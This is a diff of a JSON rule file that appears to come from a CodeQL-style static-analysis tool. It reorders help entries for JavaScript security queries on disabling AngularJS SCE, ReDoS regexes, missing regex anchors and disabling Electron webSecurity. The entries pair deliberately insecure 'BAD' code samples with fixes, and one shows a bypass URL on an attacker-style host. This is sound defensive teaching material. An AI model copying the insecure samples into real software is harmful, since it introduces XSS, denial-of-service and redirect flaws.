+            "text" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n    .config(function($sceProvider) {\n        $sceProvider.enabled(false); // BAD\n    }).controller('controller', function($scope) {\n        // ...\n        $scope.html = '<ul><li>' + item.toString() + '</li></ul>';\n    });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n    .controller('controller', function($scope, $sce) {\n        // ...\n        // GOOD (but should use the templating system instead)\n        $scope.html = $sce.trustAsHtml('<ul><li>' + item.toString() + '</li></ul>'); \n    });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n    .config(function($sceProvider) {\n        $sceProvider.enabled(false); // BAD\n    }).controller('controller', function($scope) {\n        // ...\n        $scope.html = '<ul><li>' + item.toString() + '</li></ul>';\n    });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n    .controller('controller', function($scope, $sce) {\n        // ...\n        // GOOD (but should use the templating system instead)\n        $scope.html = $sce.trustAsHtml('<ul><li>' + item.toString() + '</li></ul>'); \n    });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-116" ],
-            "description" : "Replacing a substring with itself has no effect and may indicate a mistake.",
-            "id" : "js/identity-replacement",
+            "tags" : [ "security", "maintainability", "frameworks/angularjs", "external/cwe/cwe-116" ],
+            "description" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities.",
+            "id" : "js/angular/disabling-sce",
             "kind" : "problem",
-            "name" : "Replacement of a substring with itself",
+            "name" : "Disabling SCE",
             "precision" : "very-high",
             "problem.severity" : "warning",
-            "security-severity" : "5.0"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/redos",
-          "name" : "js/redos",
+          "id" : "js/angular/double-compilation",
+          "name" : "js/angular/double-compilation",
           "shortDescription" : {
-            "text" : "Inefficient regular expression"
+            "text" : "Double compilation"
           },
           "fullDescription" : {
-            "text" : "A regular expression that requires exponential time to match certain inputs can be a performance bottleneck, and may be vulnerable to denial-of-service attacks."
+            "text" : "Recompiling an already compiled part of the DOM can lead to unexpected behavior of directives, performance problems, and memory leaks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
-            "markdown" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
+            "text" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(element)(scope); // NOT OK\n    }\n  };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(tooltip)(scope); // OK\n    }\n  };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n",
+            "markdown" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(element)(scope); // NOT OK\n    }\n  };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(tooltip)(scope); // OK\n    }\n  };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ],
-            "description" : "A regular expression that requires exponential time to match certain inputs\n              can be a performance bottleneck, and may be vulnerable to denial-of-service\n              attacks.",
-            "id" : "js/redos",
+            "tags" : [ "reliability", "frameworks/angularjs", "security", "external/cwe/cwe-1176" ],
+            "description" : "Recompiling an already compiled part of the DOM can lead to\n              unexpected behavior of directives, performance problems, and memory leaks.",
+            "id" : "js/angular/double-compilation",
             "kind" : "problem",
-            "name" : "Inefficient regular expression",
-            "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "7.5"
+            "name" : "Double compilation",
+            "precision" : "very-high",
+            "problem.severity" : "warning",
+            "security-severity" : "8.8"
           }
         }, {
-          "id" : "js/polynomial-redos",
-          "name" : "js/polynomial-redos",
+          "id" : "js/identity-replacement",
+          "name" : "js/identity-replacement",
           "shortDescription" : {
-            "text" : "Polynomial regular expression used on uncontrolled data"
+            "text" : "Replacement of a substring with itself"
           },
           "fullDescription" : {
-            "text" : "A regular expression that can require polynomial time to match may be vulnerable to denial-of-service attacks."
+            "text" : "Replacing a substring with itself has no effect and may indicate a mistake."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(?<!\\s)\\s+$/g`), or just by using the built-in trim method (`text.trim()`).\n\nNote that the sub-expression `\"^\\s+\"` is **not** problematic as the `^` anchor restricts when that sub-expression can start matching, and as the regular expression engine matches from left to right.\n\n\n## Example\nAs a similar, but slightly subtler problem, consider the regular expression that matches lines with numbers, possibly written using scientific notation:\n\n```javascript\n\n/^0\\.\\d+E?\\d+$/.test(str) // BAD\n```\nThe problem with this regular expression is in the sub-expression `\\d+E?\\d+` because the second `\\d+` can start matching digits anywhere after the first match of the first `\\d+` if there is no `E` in the input string.\n\nThis is problematic for strings that do **not** end with a digit. Such a string will force the regular expression engine to process each digit sequence once per digit in the sequence, again leading to a quadratic time complexity.\n\nTo make the processing faster, the regular expression should be rewritten such that the two `\\d+` sub-expressions do not have overlapping matches: `^0\\.\\d+(E\\d+)?$`.\n\n\n## Example\nSometimes it is unclear how a regular expression can be rewritten to avoid the problem. In such cases, it often suffices to limit the length of the input string. For instance, the following regular expression is used to match numbers, and on some non-number inputs it can have quadratic time complexity:\n\n```javascript\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str) // BAD\n```\nIt is not immediately obvious how to rewrite this regular expression to avoid the problem. However, you can mitigate performance issues by limiting the length to 1000 characters, which will always finish in a reasonable amount of time.\n\n```javascript\n\nif (str.length > 1000) {\n    throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
-            "markdown" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(?<!\\s)\\s+$/g`), or just by using the built-in trim method (`text.trim()`).\n\nNote that the sub-expression `\"^\\s+\"` is **not** problematic as the `^` anchor restricts when that sub-expression can start matching, and as the regular expression engine matches from left to right.\n\n\n## Example\nAs a similar, but slightly subtler problem, consider the regular expression that matches lines with numbers, possibly written using scientific notation:\n\n```javascript\n\n/^0\\.\\d+E?\\d+$/.test(str) // BAD\n```\nThe problem with this regular expression is in the sub-expression `\\d+E?\\d+` because the second `\\d+` can start matching digits anywhere after the first match of the first `\\d+` if there is no `E` in the input string.\n\nThis is problematic for strings that do **not** end with a digit. Such a string will force the regular expression engine to process each digit sequence once per digit in the sequence, again leading to a quadratic time complexity.\n\nTo make the processing faster, the regular expression should be rewritten such that the two `\\d+` sub-expressions do not have overlapping matches: `^0\\.\\d+(E\\d+)?$`.\n\n\n## Example\nSometimes it is unclear how a regular expression can be rewritten to avoid the problem. In such cases, it often suffices to limit the length of the input string. For instance, the following regular expression is used to match numbers, and on some non-number inputs it can have quadratic time complexity:\n\n```javascript\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str) // BAD\n```\nIt is not immediately obvious how to rewrite this regular expression to avoid the problem. However, you can mitigate performance issues by limiting the length to 1000 characters, which will always finish in a reasonable amount of time.\n\n```javascript\n\nif (str.length > 1000) {\n    throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
+            "text" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ],
-            "description" : "A regular expression that can require polynomial time\n              to match may be vulnerable to denial-of-service attacks.",
-            "id" : "js/polynomial-redos",
-            "kind" : "path-problem",
-            "name" : "Polynomial regular expression used on uncontrolled data",
-            "precision" : "high",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-116" ],
+            "description" : "Replacing a substring with itself has no effect and may indicate a mistake.",
+            "id" : "js/identity-replacement",
+            "kind" : "problem",
+            "name" : "Replacement of a substring with itself",
+            "precision" : "very-high",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "5.0"
           }
         }, {
-          "id" : "js/regex/missing-regexp-anchor",
-          "name" : "js/regex/missing-regexp-anchor",
+          "id" : "js/disabling-electron-websecurity",
+          "name" : "js/disabling-electron-websecurity",
           "shortDescription" : {
-            "text" : "Missing regular expression anchor"
+            "text" : "Disabling Electron webSecurity"
           },
           "fullDescription" : {
-            "text" : "Regular expressions without anchors can be vulnerable to bypassing."
+            "text" : "Disabling webSecurity can cause critical security vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // GOOD: the host of `url` can not be controlled by an attacker\n    if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // GOOD: the host of `url` can not be controlled by an attacker\n    if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Disabling Electron webSecurity\nElectron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy.\n\nDisabling the same-origin policy is strongly discouraged.\n\n\n## Recommendation\nDo not disable `webSecurity`.\n\n\n## Example\nThe following example shows `webSecurity` being disabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    webSecurity: false\n  }\n})\n```\nThis is problematic, since it allows the execution of insecure code from other domains.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity)\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n",
+            "markdown" : "# Disabling Electron webSecurity\nElectron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy.\n\nDisabling the same-origin policy is strongly discouraged.\n\n\n## Recommendation\nDo not disable `webSecurity`.\n\n\n## Example\nThe following example shows `webSecurity` being disabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    webSecurity: false\n  }\n})\n```\nThis is problematic, since it allows the execution of insecure code from other domains.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity)\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
-            "description" : "Regular expressions without anchors can be vulnerable to bypassing.",
-            "id" : "js/regex/missing-regexp-anchor",
+            "tags" : [ "security", "frameworks/electron", "external/cwe/cwe-79" ],
+            "description" : "Disabling webSecurity can cause critical security vulnerabilities.",
+            "id" : "js/disabling-electron-websecurity",
             "kind" : "problem",
-            "name" : "Missing regular expression anchor",
-            "precision" : "medium",
-            "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "name" : "Disabling Electron webSecurity",
+            "precision" : "very-high",
+            "problem.severity" : "error",
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/missing-origin-check",
